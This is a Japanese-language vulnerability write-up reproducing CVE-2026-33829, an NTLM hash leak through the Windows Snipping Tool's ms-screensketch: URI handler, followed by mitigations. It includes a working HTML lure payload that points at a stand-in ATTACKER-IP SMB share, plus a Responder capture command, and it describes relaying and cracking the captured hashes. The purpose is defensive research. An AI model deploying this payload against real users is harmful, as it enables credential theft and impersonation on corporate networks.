
脆弱性ケーススタディ: CVE-2026-33829 (Windows 切り取りツール NTLM 強制)
このレポートでは、CVE-2026-33829 の技術的な再現について詳しく説明します。これは、最新の Windows 切り取りツールアプリケーションフレームワークにおける情報漏洩の脆弱性です。カスタム URI プロトコルハンドラ内の未検証の入力パラメータを悪用することにより、リモートホストが未パッチの Windows マシンに発信 SMB 接続を強制し、ネットワーク上で Net-NTLMv2 認証ハッシュを漏洩させることができます。
URI スキーム - (Windows はカスタムプロトコル (ms-screensketch:, ms-settings:, file:) を使用して、Web ブラウザがデスクトップアプリと通信できるようにしています。)
この脆弱性の根本原因は、URI スキーム (ms-screensketch:edit) にあります。被害者が (ms-screensketch:edit?&filePath=\\ATTACKER_IP\\share\evil.png) を含む悪意のあるリンクをクリックし、「切り取りツールを開く」を承認すると、オペレーティングシステムは SnippingTool.exe を起動し、適切な検証を行わずに悪意のある filePath パラメータ(例: ms-screensketch:edit?filePath=\\ATTACKER-IP\\share\evil.png)を渡します。
:edit? パラメータがあるため、切り取りツールは指定されたファイルパス (filePath=\\ATTACKER-IP\\share\evil.png) からファイルを編集しようとします。その結果、Server Message Block (SMB) を使用したネットワーク接続が開始されます。SMB はファイルを要求しているユーザーを確認するように設計されているため、Windows は自動的にユーザーの認証を試みます。現在ログインしているユーザーの Net-NTLMv2 チャレンジレスポンスハッシュを攻撃者のサーバーに送信します。このプロセス全体は、ユーザーに目に見える警告やプロンプトなしに、バックグラウンドで静かに実行されます。
攻撃者は被害者の Net-NTLMv2 チャレンジレスポンス認証データを取得します。攻撃者が被害者の Net-NTLM ハッシュを入手すると、NTLM リレー攻撃を実行して被害者になりすまし、内部ネットワークリソースにアクセスしたり、エンタープライズ内の他のサービスに認証したり、取得したハッシュをオフラインでブルートフォース攻撃や辞書攻撃にかけて、被害者の実際のプレーンテキストの Windows パスワードを発見することができます。
ハンドラをトリガーするために、フィッシングまたはイントラネット侵害ベクトルをシミュレートする単純な HTML ペイロードがデプロイされました。
<!DOCTYPE html>
<html>
<body>
<button onclick="window.location.href='ms-screensketch:edit?&filePath=\\ATTACKER-IP\share\test.png&isTemporary=false&saved=true&source=Toast'">Launch Verification</button>
</body>
</html>
ハッシュをキャプチャするために、Responder を実行する隔離された Kali Linux インスタンスがデプロイされました。
sudo responder -I eth0 -v
ターゲットの Windows 環境内でボタンをクリックすると、アプリケーションは編集コンテキストを開き、すぐに SMB リクエストをリスナーホストにルーティングしました。認証チャレンジレスポンスシーケンスはシームレスに完了し、ターゲットユーザーコンテキストの Net-NTLMv2 ハッシュ構造をキャプチャしました。
NTLMSSP_NEGOTIATE パケットは、攻撃者が制御する UNC パスを解決した後、SMB セッションセットアップ中に被害者システムが NTLM 認証を開始していることを示しています。
NTLMSSP_AUTH パケットには、チャレンジフェーズ完了後に被害者システムによって送信された Net-NTLMv2 チャレンジレスポンス認証データが含まれています。
これにより、攻撃者は渡された NTLMv2 ハッシュをキャプチャします。
キャプチャされた Net-NTLMv2 チャレンジレスポンスデータは、NTLM リレー攻撃に利用されたり、ターゲット環境に応じてオフラインパスワードクラッキングの試行にかけられる可能性があります。
Windows はこれをどのように修正したのでしょうか?
パッチ適用前は、切り取りツールの編集機能は filePath 内の文字列をそのままファイルを開く API に渡していました。
観察されたパッチ後の動作から、Microsoft は UNC/ネットワークベースの filePath 値が基盤となるファイル処理 API に到達するのを防ぐ検証ロジックを導入したことが示唆されています。現在、filePath に文字列を渡すと、アプリケーションはそれをオペレーティングシステムに渡す前に健全性チェックを実行します。
セキュリティ更新プログラムを適用した後に再度試行すると、アプリケーションは依然として ms-screensketch: ハンドラを呼び出しますが、リモートの filePath 値は編集ワークフローを通じて解決されなくなりました。
すべての Windows エンドポイントが 2026 年 4 月 14 日のセキュリティパッチベースライン以降に更新されていることを確認してください。これにより、アプリケーションハンドラに厳格な入力検証境界が導入されます。
認証されていない外部ネットワークへの発信 TCP ポート 445 トラフィックをブロックする厳格な出力ファイアウォールルールを適用し、資格情報漏洩のリスクを軽減します。
グループポリシーオブジェクト (GPO) を構成して、リモートサーバーへの発信 NTLM トラフィックを制限し、該当する場合は Kerberos などの安全な代替プロトコルを強制します。
免責事項: このレポートは、教育、防御研究、およびラボ検証の目的のみで作成されています。すべてのテストは完全に隔離されたサンドボックス環境内で実施されました。